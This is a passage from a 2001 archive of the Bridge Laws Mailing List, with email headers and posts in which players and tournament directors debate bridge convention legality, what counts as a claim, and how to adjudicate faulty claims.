ACBL this isn't legal even under the SuperChart. There is just barely enough ambiguity in the wording of the chart that I can't be sure. One could read 1a in the chart to mean that an anchor suit is required only for the weak meaning, but I don't think that's what the words actually say. Marv's 2D would be SuperChart legal if the strong NT were removed. > 2H shows an unbalanced strong two in hearts, a weak two in spades, or a 23-24 > HCP notrump hand. Same, except that removing the strong NT doesn't help. How would these conventions be classified in other jurisdictions, especially the WBF? -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 06:48:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QJlYB17284 for bridge-laws-outgoing; Sat, 27 Jan 2001 06:47:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QJlRt17277 for ; Sat, 27 Jan 2001 06:47:28 +1100 (EST) Received: from james (user-2ive44r.dialup.mindspring.com [165.247.16.155]) by tisch.mail.mindspring.net (8.9.3/8.8.5) with SMTP id OAA25034; Fri, 26 Jan 2001 14:47:06 -0500 (EST) Message-ID: <001901c087d0$c4e0ad60$9b10f7a5@james> From: "Craig Senior" To: "David Stevenson" , References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <4.3.2.7.1.20010124081904.00ab7340@127.0.0.1> <007d01c08653$6e6b30a0$a310f7a5@james> Subject: Re: [BLML] Claim? Date: Fri, 26 Jan 2001 14:47:06 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk As the Law now reads, they get a charming adjudication of claim...unless of course they just want to accept the claim and get on the the next board. :-)) Craig ----- Original Message ----- From: "David Stevenson" To: Sent: Thursday, January 25, 2001 10:34 AM Subject: Re: [BLML] Claim? > Craig Senior writes > >If everyone within earshot interpreted it not to mean a claim > >then there is not a problem. But if his opponents interpret it > >as a claim, the law is on their side, and he has just stepped in > >a poodle. > > What happens if the opponents knew it was not a claim, did not > interpret it as a claim, but being charming people call the TD anyway > and say it was a claim? > > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 06:56:26 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QJuHP17483 for bridge-laws-outgoing; Sat, 27 Jan 2001 06:56:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QJu9t17477 for ; Sat, 27 Jan 2001 06:56:10 +1100 (EST) Received: from james (user-2ive44r.dialup.mindspring.com [165.247.16.155]) by tisch.mail.mindspring.net (8.9.3/8.8.5) with SMTP id OAA15445 for ; Fri, 26 Jan 2001 14:56:05 -0500 (EST) Message-ID: <001f01c087d2$05c2fa80$9b10f7a5@james> From: "Craig Senior" To: References: <029c01c08724$4cd56600$9a9c1e18@san.rr.com> Subject: Re: [BLML] Claim? Date: Fri, 26 Jan 2001 14:56:06 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk This is not the first time David has made this point with which I agree wholeheartedly. Even someone who does not like or understand a Law (perhaps even the one we are now discussing) is unlikely to be as perturbed when a ruling goes against him if it is right there in black and white. Using the law book on EVERY ruling helps the director appear official, impartial, and accurate. All that he might lose is the appearance of being all knowing...and as we know, nobody likes a know-it-all. I can't tell you the number of times that "See, Floyd, it says that right here" has calmed what could have been a nasty confrontation, AND helped keep less experienced players who might have been miffed in the game long enough to learn the rules. From other writing of yours Laval, I can tell that you are a good director who wishes to become a better one. This is a simple technique that can help. Always RTFLB even when you know the answer. It will make your life easier. :-)) Craig ----- Original Message ----- From: "Marvin L. French" > > From: > > > > Craig wrote: > > Or perhaps John was expressing surprise that all three directors > > owned a copy, since so many bad club directors never seem to > > consult it when giving a ruling. :-)) > > ________________________________________________________________ > > I hope good club directors are able to give most of their > > rulings without consulting the lawbook...)) > > > (DWS)It is unwise to do so, even if the Laws have been memorized exactly. The > TD should carry the Laws to the table and read the applicable Law from it. > Doing so gives players a comfortable feeling that they are being treated > in accordance with the Laws when a harsh penalty is dealt out. > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 06:57:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QJvFg17499 for bridge-laws-outgoing; Sat, 27 Jan 2001 06:57:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QJv9t17495 for ; Sat, 27 Jan 2001 06:57:09 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 26 Jan 2001 11:53:54 -0800 Message-ID: <005d01c087d2$1de4f500$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <61D8D74E23E8D211938B0008C79F926602343224@WIEXHU01> <3.0.6.32.20010126095408.007cdb30@ux1.cts.eiu.edu> Subject: Re: [BLML] Date: Fri, 26 Jan 2001 11:56:41 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grant Sterling wrote: > The questions herein are genuine questions for the list as a whole, > not rhetorical objections directed at Marvin. Marvin may well be right--I'm > just curious. > > Marvin L. French wrote: > >From: "Kerenyi Istvan" > >> West East > >> - A98 > >> QJ76 K985 > >> 543 T98 > >> K97654 Q32 > >> > >> South > >> K43 > >> AT432 > >> AKJ6 > >> T > >> > >> IMP pairs.Both Vulnerable Dealer West. > >> > >> East-West all pass > >> > >> North opens 2 diamonds explained as either weak two major or 17-21 any > >3-suiter > >> South bids 2 NT relay, North 3 hearts, South 4 NT, North 5 diamonds, > >> South 6 hearts. > >> West now asks South what 3 hearts meant.South answers 17-21 3-suiter, > >> short spade. West passes, North bids 6 spades. West now calls TD. > >> TD orders to continue. East doubles. > >> East leads 8 of hearts, 6 spades doubled made. > >> TD is called back and decides result to stand because of the double > >> of East. > >> > >North has to pass 6H, as he might logically do when playing behind a > >screen. South could theoretically be 1=7 in the majors, with solid hearts. > >I would adjust the score to the (reasonable) minimum number of tricks N/S > >would win in a 6H contract, undoubled. > > I agree, with some caveats about the N/S methods, pace DWS. We have to go by what we've been told, assuming there is nothing more to be known. If we are missing something pertinent to N/S methods, then of course the ruling might be different. > > >With West having made an improper call to the TD (mere suspicion of an > >infraction, and not even at hir turn), which may have prompted the double, > > W should have kept his mouth shut to begin with, and I agree that > he should not be calling the TD at the mere suspicion of an infraction. > But if you think there's been an infraction in the bidding, aren't > you supposed to call the TD right away rather than wait until your turn > to call? [Again, I know that this infraction should not trigger a TD call > until later, but supposing a player does not know that fact, shouldn't he > be calling immediately rather than at his turn?] You don't call on mere suspicion. It's unnecessary and creates possible UI. A player can call the TD about an irregularity even if not hir turn, but there must be evidence of an irregularity, I believe. The OOT had nothing to do with it, I shouldn't have commented on that. It just seemed to make the TD call extra pushy. > > >I would let the result stand for E/W. The double also looks like a > >double-shot attempt, East figuring to get redress if the unwarranted > >double doesn't work out well. Let E/W keep that result. > > Two more questions: > a) Is South's answer to W's question UI to E? I think the question is UI but the answer is AI if the question was legal, but I'm not sure. > b) On what legal grounds do we rule 'result stands' for E/W? Is a > double of a slam by a player holding the ace of trumps and an outside K > 'wild and gambling'? [Especially _if_ he's entitled to the knowledge that > E/W are either having a bidding misunderstanding or are cue-bidding the > suit with his ace for some bizarre reason on the way to 7.] Or are you > using some other law? I had my doubts about this one too. I've always maintained that if a side cannot do anything about damage incurred, as in this case, then anything they do cannot annul redress. However, I consider the unnecessary question combined with the resultant double to constitute an infraction. Did that infraction do damage? No, it didn't. So I'm probably wrong, though I hate to say it. Someone please tell me I was right. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 07:44:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QKiJ618216 for bridge-laws-outgoing; Sat, 27 Jan 2001 07:44:19 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QKiCt18209 for ; Sat, 27 Jan 2001 07:44:12 +1100 (EST) Received: from james (user-2ive44r.dialup.mindspring.com [165.247.16.155]) by tisch.mail.mindspring.net (8.9.3/8.8.5) with SMTP id PAA12563; Fri, 26 Jan 2001 15:44:01 -0500 (EST) Message-ID: <006601c087d8$b80c6680$9b10f7a5@james> From: "Craig Senior" To: "Alan Hill" , "alain gottcheiner" Cc: References: Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? Date: Fri, 26 Jan 2001 15:44:01 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Welcome Alan. You forgot to tell us of your cats and/or dogs. :-)) Craig ----- Original Message ----- From: "Alan Hill" To: "alain gottcheiner" Cc: Sent: Friday, January 26, 2001 6:49 AM Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? > As someone very very fond of his cricket who has seen the Cubs > at Wrigley field I strongly recommend a visit. It will change > your view of Baseball for life. > As my first message I hope you will tell me if I have done > everything right. > Alan Hill > Belfast, N.Ireland > > On Fri, 26 Jan 2001 11:15:14 +0100 alain gottcheiner > wrote: > > > At 14:59 25/01/01 -0500, Craig Senior wrote: > > >As did Leo at both the Polo Grounds and Ebbets Field. > > > > > > > Would you all please choose _inter_national sports when making subtle > > allusions ? Everybody wants to participate to the presumed general hilarity. > > > > A. > > > > -- > > ================================================================ ======== > > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > ---------------------- > Alan Hill > > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 08:50:20 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QLoAj26532 for bridge-laws-outgoing; Sat, 27 Jan 2001 08:50:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pandora.worldonline.nl (pandora.worldonline.nl [195.241.48.140]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QLo2t26498 for ; Sat, 27 Jan 2001 08:50:03 +1100 (EST) Received: from default (vp226-122.worldonline.nl [195.241.226.122]) by pandora.worldonline.nl (Postfix) with SMTP id 28B0936DBD; Fri, 26 Jan 2001 22:49:57 +0100 (MET) Message-ID: <01a201c087e2$3e3e41c0$7ae2f1c3@default> From: "Jac Fuchs" To: "BLML" Cc: "John Probst" Subject: Re: [BLML] Claim? Date: Fri, 26 Jan 2001 22:52:08 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk John Probst wrote : >After reading the arguments I'm forced to conclude that I think it's a >claim. I am not happy. I shall spring it on DWS next time he tries a >weak 2, holding 6 of the suit (it happens). "Partner we can make 10 >tricks" and see what happens. cheers john. > Ah ! There's a nice point of discussion for native English speakers here: I would expect "we are going to make twelve tricks!" to be rather more decisive than "we can make twelve tricks.", but do you native English speaking gentlemen feel that way about it ? Jac Fuchs -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 08:50:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QLngS26374 for bridge-laws-outgoing; Sat, 27 Jan 2001 08:49:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from falhost.fujitsu.com.au (falgate.fujitsu.com.au [137.172.211.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0QLnZt26338 for ; Sat, 27 Jan 2001 08:49:35 +1100 (EST) Received: by falhost.fujitsu.com.au; id IAA05940; Sat, 27 Jan 2001 08:48:58 +1100 Received: from mailhost.fujitsu.com.au(137.172.19.140) by falhost via smap (V2.1) id xma005918; Sat, 27 Jan 01 08:48:50 +1100 Received: from Viruswall (mailhost.fujitsu.com.au) with ESMTP id f0QLmob10317 Received: from sercit.fujitsu.com.au (sercit.fujitsu.com.au [137.172.40.224]) by mailhost.fujitsu.com.au (8.11.0/8.11.0) with ESMTP id f0QLmn910311 for ; Sat, 27 Jan 2001 08:48:50 +1100 Received: from localhost (petern@localhost) by sercit.fujitsu.com.au (8.9.3/8.9.3) with ESMTP id IAA11290 for ; Sat, 27 Jan 2001 08:48:24 +1100 Date: Sat, 27 Jan 2001 08:48:24 +1100 (EST) From: Peter Newman To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Consistent Claim Adjudication In-Reply-To: <3.0.6.32.20010126101739.007d8ae0@ux1.cts.eiu.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Thanks to everyone who made suggestions about the hand... In my first example it is intriguing to me that it is clearly 2 tricks to the defense despite this being a line guaranteed to go off in 3NT. Obviously my defintion of irrational is different from everybody elses. [Mind you trying to calculate the odds of making vs. cashing out for some number down is hard enough as a player - impossible for most club TDs]... > > The thing to remember is that the claimed line has broken down. > The defense has won a club trick that the claimer didn't designate them > to win. Ergo, > > > > >I don't think the current claim laws are easy to interpret and I think it > >is very hard to get consistency when the directors start to guess at what > >is going to happen (particularly given that by the very essence of the > >situation declarer has done something close to irrational - miscounted the > >hand). > > I think that the vast majority of claims are pretty easy to adjudicate. > There are some more difficult claims, and I don't doubt that different > directors may give different rulings. I don't think that's such a big deal, > especially since it almost always involves only the question of _how_ badly > to hurt declarer. Even this claim that everybody bar Adam (with a minor reservation on the order of pitching the hearts) and DWS thought was a no-brainer for 2 tricks to the defense is not clear to me. Maybe I am being obtuse. Particularly as the director didn:t ask the play up to the point and therefore wasn:t aware that both Examples 1 and Examples 2 were possible. Here is the full North/South hands as declarer would have seen the play: KJxx KJTxx xxx x ATx - AQJx KQJxxx The play: S9 Sx SQ SA CK CA Cx C9 Hx HJ HQ Dx Dx DJ DK Dx Dx Dx Dx DJ DA Hx Dx Dx CJ Cx Hx C10 CLAIM > > >> >So I assume if the hand was (and although not described consistent with the > >> >play to this point): > >> > > >> > T5 > >> > -- > >> > -- > >> > Q654 > >> >-- 8764 > >> >A875 -- > >> >95 -- > >> >-- 87 > >> > KJ3 > >> > KJ6 > >> > -- > >> > -- > >> > >> Same ruling, probably 2 tricks for the defence, can see the argument > >> for three. > > > >Why 2? If you pitch a low heart and low spade the tricks are 3-3. If you > >pitch a low heart and high spade you make 5 tricks the defence 1. I dont > >see how you can average them. > > I think you're right here. It should be 1 or 3. I want to know > the class of players involved, and the play of the hand up to this point. You have seen the play. It is the summer nationals and they are unknown opponents and it an 8 board match. My guess would be club standard players. > > >> Of course, there are many situations where we do not agree, and claims > >> are one of them. > > > >That is why as a player I would like to see uniformity regardless of > >whether I get a director who subscribes to BLML or your average club > >director. > > I wouldn't. Because that uniformity can only be purchased at far too > high a price. The only practical way I can think of to make claim decision > uniform is to make them uniformly draconian, and I don't want that. My > club, and tournaments in my area, would be significantly _worse_ off with > that sort of uniformity. I can't speak for elsewhere in the world. > Are my experiences so abnormal? I have never been at a table, and > cannot recall a case at my club, where a bad claim was made and the > adjudication of that claim caused hard feelings because the ruling was > perceived as being too lenient to declarer, or because people thought that > a different TD would have given a significantly different ruling. It just > doesn't happen. I have seen a very few bad claims where declarer thought > the law was too strict. I have seen a million hands where declarer didn't > claim when he should have. Under no circumstances do I want claim laws > written that discourage people from claiming. [And yes, I know that "if > people only claimed when they could clearly state a line that guaranteed > the tricks they were taking, this wouldn't matter". This is irrelevant to > the declarer who knows that he will occasionally mis-state a claim or > forget about an outstanding card.] > People who compare bridge to other 'sports' should note that in > virtually all other sports there are judgement calls in enforcing the > rules, calls that will be made differently by different officials at some > times. Why is this so horrible in bridge? > Most players dont claim in my experience. So I dont see many claims at the best of times. In fact my opponents didnt like the fact that I claimed when I could asking me to play it out. Of course I couldn:t and had to call the director. Even in the cited case - my opponent wanted to play the hand when the error was discovered. I think that if the truth be told most players (not me) would prefer defenders have the right to say play on ... this wouldn:t work at higher levels because the current claim laws work reasonably well if the people involved (director included) have a good grasp of the game. At club level? most of the arbitrated claims seem to be random pot luck to me. I am most interested in the DWS 12C3 type function for claims - but again it would need a high class of director. Cheers, Peter -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 08:51:29 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QLpNg26937 for bridge-laws-outgoing; Sat, 27 Jan 2001 08:51:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pandora.worldonline.nl (pandora.worldonline.nl [195.241.48.140]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QLpFt26907 for ; Sat, 27 Jan 2001 08:51:16 +1100 (EST) Received: from default (vp226-122.worldonline.nl [195.241.226.122]) by pandora.worldonline.nl (Postfix) with SMTP id 4858036DEA; Fri, 26 Jan 2001 22:51:11 +0100 (MET) Message-ID: <01a501c087e2$6a56b580$7ae2f1c3@default> From: "Jac Fuchs" To: "BLML" Cc: "Kevin Perkins" Subject: Re: [BLML] Claim? Date: Fri, 26 Jan 2001 22:53:25 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Kevin Perkins wrote : >I polled the bridge players in my area for one week. After 97 people, >including 3 directors, none of the people questioned believed the remarks in >question were a claim. I do not see how this will affect our perception of how the Laws should be interpreted. Besides, I think the fact that three ordinary chaps (or gals) got it right extremely encouraging: keep explaining the Laws to them and you may raise the percentage of correct answers to an unprecedented six within a couple of years :-)) Jac Fuchs -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 09:03:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QM2ev01003 for bridge-laws-outgoing; Sat, 27 Jan 2001 09:02:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QM2Wt00963 for ; Sat, 27 Jan 2001 09:02:33 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id NAA02089 for ; Fri, 26 Jan 2001 13:17:05 -0900 Date: Fri, 26 Jan 2001 13:03:02 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: [BLML] Consistent Claim Adjudication In-Reply-To: <3.0.6.32.20010126101739.007d8ae0@ux1.cts.eiu.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Fri, 26 Jan 2001, Grant Sterling wrote: > At 03:22 PM 1/26/2001 +1100, Peter Newman wrote: > >heart stopper leads to 3 down. Losing a club, a heart and a diamond. > >[Despite many saying still 2 down]. My point was that if the hand was the > > You're exactly right that I [perhaps among others] didn't > spend enough time looking at the second hand. {I still think the > ruling for the first hand is obviously correct.} See below. I missed it too the first time I looked at Peter's 2nd example, but am now confident that 3 down is right. > > I think that the vast majority of claims are pretty easy to adjudicate. Yes and no. A majority of claims are correct, and therefore easy. A significant fraction of the remainder have one very obvious flaw which leads to a very obvious adjudication. But all of the trivial ones and some of the easy ones don't lead to director calls at all; wrong though it may be, it is the difficult ones that actually result in a director being summoned. > There are some more difficult claims, and I don't doubt that different > directors may give different rulings. I don't think that's such a big deal, > especially since it almost always involves only the question of _how_ badly > to hurt declarer. A matter of opinion; I think it is quite distressing, and so do the players who don't get what they expected from the director and can't see why not. > >That is why as a player I would like to see uniformity regardless of > >whether I get a director who subscribes to BLML or your average club > >director. > > I wouldn't. Because that uniformity can only be purchased at far too > high a price. The only practical way I can think of to make claim decision > uniform is to make them uniformly draconian, and I don't want that. My > club, and tournaments in my area, would be significantly _worse_ off with > that sort of uniformity. I can't speak for elsewhere in the world. > Are my experiences so abnormal? I have never been at a table, and > cannot recall a case at my club, where a bad claim was made and the > adjudication of that claim caused hard feelings because the ruling was > perceived as being too lenient to declarer, or because people thought that > a different TD would have given a significantly different ruling. Frankly I think your experience IS very abnormal. Even in our laid-back twice-a-week club, a bad claim that causes tempers to flare can be counted on to happen at least a couple times every year. > It just > doesn't happen. I have seen a very few bad claims where declarer thought > the law was too strict. Declarers who claim and get called generally are sheepish about having gotten the position wrong when they claimed, know they did something wrong, and accept whatever penalty they are given. I can think of very few cases where declarer complained he didn't get enough tricks (and in every such case I did see, declarer was just being a sore loser.) On the other hand, claims where the defenders think the law is too lenient, are very common. Even in cases where the law is perfectly clear that declarer's line breaks down in time for him to recover a good result, the defenders are often "upset that declarer got away with a bad claim." In cases where it is questionable, the defenders want blood and are mad when they don't get it, while declarer expects to be hung high and is surprised to be let off the hook. > I have seen a million hands where declarer didn't > claim when he should have. So have I. More often than not, when this happens, I concede. > Under no circumstances do I want claim laws > written that discourage people from claiming. [And yes, I know that "if > people only claimed when they could clearly state a line that guaranteed > the tricks they were taking, this wouldn't matter". This is irrelevant to > the declarer who knows that he will occasionally mis-state a claim or > forget about an outstanding card.] People occasionally make all sorts of other accidental errors too, and when they do they are perfectly happy to accept the consequences. > People who compare bridge to other 'sports' should note that in > virtually all other sports there are judgement calls in enforcing the > rules, calls that will be made differently by different officials at some > times. Why is this so horrible in bridge? It is neither more nor less horrible in bridge than in other games. To rephrase your question -- what is so GOOD about having fans and players alike screaming obscenities at umpires so make questionable judgment calls in baseball games? It is the most frequent cause of arguments around the television and of fisticuffs on the field; indeed it happens at almost every game. If we can keep that out of bridge, lets's keep it out! My vote (which I know doesn't count) remains in favour of new claim laws that are both stricter, and easier to apply uniformly. GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 09:03:11 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QM33h01137 for bridge-laws-outgoing; Sat, 27 Jan 2001 09:03:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pandora.worldonline.nl (pandora.worldonline.nl [195.241.48.140]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QM2st01092 for ; Sat, 27 Jan 2001 09:02:55 +1100 (EST) Received: from default (vp226-122.worldonline.nl [195.241.226.122]) by pandora.worldonline.nl (Postfix) with SMTP id 2143F36D56; Fri, 26 Jan 2001 23:02:50 +0100 (MET) Message-ID: <01b401c087e4$0ac43d20$7ae2f1c3@default> From: "Jac Fuchs" To: "BLML" Cc: "David Stevenson" Subject: Re: [BLML] Claim? Date: Fri, 26 Jan 2001 23:05:03 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk DWS wrote : >Craig Senior writes >>And continue to do so. As I pointed out, a significant number of >>posters on this thread think that it is a claim. Not all agree >>that that is an ideal situation. > > Sure. But if 20 people on this list do think it is a claim, >I do not think that makes me wrong in my assertion >that over 99% of all bridge players will think it not a claim. Well, David, I haven't taken part in this discussion so far, and I don't have any new points to raise, but I would like to let you know that it's 21 for the time being :-) At BLML we have seldom be concerned about what 99% of the players believe, we usually are looking for what the correct ruling would be. Most of the time, I agree wholeheartedly with your statements on what the correct ruling would be, and when I initially do not, I usually become convinced by your excellent arguments. However, this time I believe the Law leaves us no choice. "We are going to make twelve tricks!" sounds like a claim to me. I may reconsider, however, if you, being a native English speaker, would assure me that there is a significant difference between "We are going to make twelve tricks!" and "I am going to make twelve tricks!". Jac (Jac Fuchs) -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 10:07:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QN70d24023 for bridge-laws-outgoing; Sat, 27 Jan 2001 10:07:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f232.law3.hotmail.com [209.185.241.232]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QN6rt23984 for ; Sat, 27 Jan 2001 10:06:54 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 26 Jan 2001 15:06:45 -0800 Received: from 134.134.248.26 by lw3fd.law3.hotmail.msn.com with HTTP; Fri, 